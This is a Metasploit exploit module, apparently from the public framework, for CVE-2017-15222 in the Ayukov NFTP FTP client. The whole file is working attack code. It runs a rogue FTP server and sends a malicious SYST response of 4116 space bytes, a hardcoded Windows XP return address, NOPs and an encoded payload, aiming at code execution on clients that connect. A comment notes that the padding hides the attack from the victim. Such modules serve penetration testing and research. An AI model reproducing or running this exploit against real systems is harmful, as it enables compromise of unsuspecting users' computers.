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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
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          Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
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          is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
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          code exeuction under the context of the user if successfully exploited.
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        },
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        'Author' => [
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          'Berk Cem Goksel', # Original exploit author
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          'Daniel Teixeira',  # MSF module author
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          'sinn3r'            # RCA, improved module reliability and user exp
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2017-15222'],
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          [ 'EDB', '43025' ],
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        ],
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        'Payload' => {
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          'BadChars' => "\x00\x01\x0a\x10\x0d",
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          'StackAdjustment' => -3500
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2017-10-21',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
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      ]
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    )
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  end
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  def exploit
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    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
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    super
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    print_status("#{client.peerhost} - connected")
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    # Let the client log in
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    client.get_once
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    print_status("#{client.peerhost} - sending 331 OK")
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    user = "331 OK.\r\n"
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    client.put(user)
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    client.get_once
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    print_status("#{client.peerhost} - sending 230 OK")
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    pass = "230 OK.\r\n"
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    client.put(pass)
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    # It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
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    # is visible from the user's command prompt, which would make the buffer overflow attack too
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    # obvious.
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    sploit = "\x20" * 4116
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    sploit << [target.ret].pack('V')
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    sploit << make_nops(10)
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    sploit << payload.encoded
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    sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
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    sploit << "\r\n"
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    print_status("#{client.peerhost} - sending the malicious response")
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    client.put(sploit)
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    client.get_once
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    pwd = "257\r\n"
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    client.put(pwd)
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    client.get_once
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  end
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end
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